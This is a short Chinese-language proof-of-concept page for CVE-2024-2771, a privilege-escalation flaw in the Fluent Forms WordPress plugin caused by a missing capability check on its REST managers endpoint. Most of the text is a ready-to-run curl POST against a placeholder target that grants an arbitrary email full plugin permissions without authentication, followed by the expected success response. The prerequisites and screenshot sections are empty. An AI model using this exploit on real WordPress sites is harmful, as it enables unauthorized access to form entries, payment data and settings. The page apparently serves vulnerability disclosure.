CVE-2024-2771 概念验证
适用于 WordPress 的 Contact Form Plugin by Fluent Forms（用于问卷、调查和拖放式 WP 表单构建器）在所有版本直至 5.1.16 中，由于 REST API 端点 /wp-json/fluentform/v1/managers 缺少能力检查，存在权限提升漏洞。这使得未经身份验证的攻击者能够授予用户 Fluent Form 管理权限，从而访问该插件的所有设置和功能。同时，未经身份验证的攻击者也可以删除管理员账号。
前提条件
利用命令
# 1. Grant full Fluent Forms permissions to an arbitrary email
curl -i -X POST "http://TARGET/wp-json/fluentform/v1/managers" \
-H "Content-Type: application/json" \
-d '{
"manager": {
"email": "[email protected]",
"permissions": [
"fluentform_dashboard_access",
"fluentform_forms_manager",
"fluentform_entries_viewer",
"fluentform_manage_entries",
"fluentform_view_payments",
"fluentform_manage_payments",
"fluentform_settings_manager",
"fluentform_full_access"
]
}
}'
预期响应
HTTP/1.1 200 OK
{
"message": "Manager has been saved.",
"manager": {
"id": 2,
"email": "[email protected]",
"permissions": [
"fluentform_dashboard_access",
"fluentform_forms_manager",
"fluentform_entries_viewer",
"fluentform_manage_entries",
"fluentform_view_payments",
"fluentform_manage_payments",
"fluentform_settings_manager",
"fluentform_full_access"
]
}
}
截图
